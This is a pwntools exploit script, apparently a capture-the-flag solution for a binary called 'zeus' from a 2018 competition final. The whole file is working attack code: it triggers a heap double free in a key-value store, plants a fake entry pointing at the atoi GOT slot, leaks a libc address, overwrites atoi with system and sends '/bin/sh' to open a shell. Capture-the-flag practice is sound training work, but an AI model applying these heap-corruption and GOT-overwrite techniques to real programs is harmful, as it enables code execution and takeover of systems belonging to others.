CJ2018 Final p11-zeus

exploit.py

from pwn import *

context.log_level = 'error'
context.terminal = 'tmux splitw -h'.split()
DEBUG = 0
cmd = """
"""
libc = ELF('./libc.so.6')
elf = ELF('./zeus')
p = process("./zeus")
if DEBUG:
    gdb.attach(p, cmd, gdb_args=['--init-eval-command="source /home/n0psledbyte/ctf/tools/gef/gef.py"'])

def goto(n):
    p.sendlineafter(">> ", str(n))
    return

def insert(key, value):
    goto(1)
    p.sendlineafter(": ", str(len(key)))
    p.sendlineafter(": ", key)
    p.sendlineafter(": ", str(len(value)))
    p.sendlineafter(": ", value)
    return

def delete(key):
    goto(2)
    p.sendlineafter(": ", key)
    return

def lookup(key):
    goto(3)
    p.sendlineafter(": ", key)
    p.recvuntil(": ")
    value = p.recvuntil("\n\n", drop=True)
    return value

insert("A"*0x40, "B"*0x40)
insert("C"*0x40, "D"*0x40)

delete("C"*0x40)
delete("A"*0x40)
delete("C"*0x40)
payload = p32(0x8) + p32(0x10) + p64(0x401350) + p64(elf.got['atoi']) + p64(0x6020d8)
insert(payload, "F"*0x8)
v = lookup("length")
atoi = u64(lookup("length").ljust(8, "\x00"))
libc.address = atoi - libc.symbols['atoi']
system = p64(libc.symbols['system'])
insert("length", system)
goto(1)
p.sendlineafter(": ", "/bin/sh")
p.interactive()